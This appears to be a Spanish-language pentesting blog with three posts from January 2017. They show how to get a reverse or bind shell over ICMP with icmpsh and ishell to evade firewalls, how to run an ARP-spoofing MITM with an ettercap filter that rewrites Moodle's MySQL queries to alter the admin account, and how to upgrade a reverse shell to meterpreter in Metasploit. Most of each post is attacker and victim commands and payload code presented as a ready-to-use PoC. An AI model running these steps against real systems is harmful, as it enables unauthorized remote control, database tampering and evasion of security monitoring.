sábado, 21 de enero de 2017

Conexion de shell inversa mediante ICMP

Definición:

El Protocolo de Mensajes de Control de Internet o ICMP (por sus siglas en inglés de Internet Control Message Protocol) es el sub protocolo de control y notificación de errores del Protocolo de Internet (IP). Como tal, se usa para enviar mensajes de error, indicando por ejemplo que un servicio determinado no está disponible o que un router o host no puede ser localizado. También puede ser utilizado para transmitir mensajes ICMP Query.

ICMP difiere del propósito de TCP y UDP ya que generalmente no se utiliza directamente por las aplicaciones de usuario en la red. La única excepción es la herramienta ping y traceroute, que envían mensajes de petición Echo ICMP (y recibe mensajes de respuesta Echo) para determinar si un host está disponible, el tiempo que le toma a los paquetes en ir y regresar a ese host y cantidad de hosts por los que pasa.

Más sobre el protocolo ICMP en: https://www.rfc-es.org/rfc/rfc0792-es.txt 

En esta entrada veremos como tener acceso a una shell (con conexión inversa) de una máquina,  mediante el protocolo ICMP y evitar así posibles Firewalls o IPS.

Tutorial:

ICMPSH

Herramienta escrita en python que no necesita permisos de administrador para usarse, esta herramienta solo puede ejecutarse en sistemas operativos Windows.
En este caso se usa una conexión inversa.

Para descargar la herramienta: https://github.com/inquisb/icmpsh

PoC:

En esta prueba de concepto se usara como máquina atacante un Kali Linux, y como máquina víctima un Windows 10 Pro.

Antes de nada en la máquina atacante deberemos editar un archivo para transferir correctamente las peticiones ICMP entre servidor y cliente, para ello usaremos el comando:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1

Luego ejecutaremos el comando:

$ python icmpsh_m.py <IPLOCAL> <IPVICTIMA>

Y desde la máquina víctima ejecutaremos:

> icmpsh.exe -t <IPATACANTE> -d 500 -b 30 -s 128


Y la conexión se realizará de forma exitosa.

Vídeo:

ISHELL

En esta herramienta la conexión será de tipo "bind", solo funcionará en Linux, BSD, Solaris y ahora si necesitaremos el uso de permisos de administrador.
Podemos encontrar la descarga de la herramienta en: https://sourceforge.net/projects/icmpshell/files/ish/v0.2/

Para instalarla ejecutaremos el comando make linux sobre el directorio raíz de la carpeta.

PoC:

En esta prueba de concepto se usara como máquina atacante un Kali Linux, y como máquina víctima un Ubuntu 16.04.

Una vez instalada la herramienta (Tanto en la máquina víctima como en la atacante), en la máquina víctima ejecutaremos el comando:

$ ./ishd -d -p <PUERTO>

Y luego el atacante se conectará al puerto de la máquina víctima con el comando:

$ ./ish -tr 0 -p <PUERTO> <IPVÍCTIMA>

Vídeo:

 


domingo, 15 de enero de 2017

Ataque a Moodle 3.2 | Network Packet Manipulation

Definición:

El ataque network packet manipulation sucede, cuando en una auditoría interna la web que está alojada en un servidor se conecta a una BD que está en otro servidor, y la conexión entre ambos no va cifrada, pudiendo así hacer un MITM y cambiando las consultas SQL.

Si quereis saber más de este tema os recomiendo ver el vídeo de Pablo González.

Requisitos:

Ubuntu 16:
    mysql-server

Windows 7:
    xampp
        moodle
    heidiSQL

Kali Linux:
    ettercap
    wireshark

Diagrama de red:

Ubuntu 16 -- MySQL -- 192.168.1.13

Windows 7 -- Moodle -- 192.168.1.8

Kali Linux -- Atacante -- 192.168.1.7

Tutorial:

Una vez tengamos todos los requisitos, podemos comenzar con el ataque.

Lo primero tendremos que crear un filtro para ettercap el cual permitirá modificar la consulta SQL que capturemos en un paquete, el filtro es el siguiente:

if (tcp.dst == 3306 && search(DECODED.data, "SET SESSION"))
{
        msg("MDL SET SESSION Detected!");
        replace("\x2b\x00\x00","\x3d\x00\x00");
        replace("SET SESSION sql_mode = 'STRICT_ALL_TABLES'","UPDATE ndl_user set city = "OWNED" where username = 'admin'#);
        msg("User modified!");
}

Ahora lo convertimos en un filtro para ettercap con el comando:

etterfilter <nombre filtro> -o <nombre filtro>.ef

Lanzaremos el filtro haciendo un MITM con el comando:

ettercap -T -q -i <Interfaz de red> -F <filtro> -M ARP /<IP BD>// /<IP MOODLE>//

Con esto ya estaremos en medio de la conexión y en cuanto la máquina que tiene el moodle tenga que interactuar con la base de datos nuestro filtro actuará actualizando el atributo "city" y cambiandola por "OWNED", esto es solo un ejemplo, pero podríamos hacer cualquier consulta SQL, como crear un usuario nuevo o cambiar la contraseña de administrador del moodle.

Vídeo PoC:

 

miércoles, 11 de enero de 2017

De una simple Shell a Meterpreter

Definición:

Este módulo intenta actualizar un shell de comandos a meterpreter. La plataforma shell se detecta automáticamente y se selecciona la mejor versión de meterpreter para el destino. Actualmente "meterpreter/reverse_tcp" se usa en Windows y Linux, y "python/meterpreter/reverse_tcp" usado en todos los demás.

PoC:

    En esta prueba de concepto se vulnerará un cliente Linux haciendo uso de una shell reversa escrita en Python, el objetivo es hacer el upgrade de esa shell a meterpreter.

Iniciamos metasploit, y configuramos un listener.

msfconsole
use multi/handler
set payload linux/x64/shell/reverse_tcp
set LHOST 192.168.1.10
set LPORT 8080
exploit -j

    En el equipo víctima ejecutamos cualquier reverse shell, en este caso usaré una hecha en python:



    Una vez nos haya establecido una sesión, la upgradearemos con el siguiente módulo llamado "shell_to_meterpreter":

    use post/multi/manage/shell_to_meterpreter
    sessions
    set SESSION <session-id>
    run


    Una vez finalizado el exploit ya podremos acceder a la sesión meterpreter que se ha creado.

    sessions -i <session-id>

    Vídeo Demo: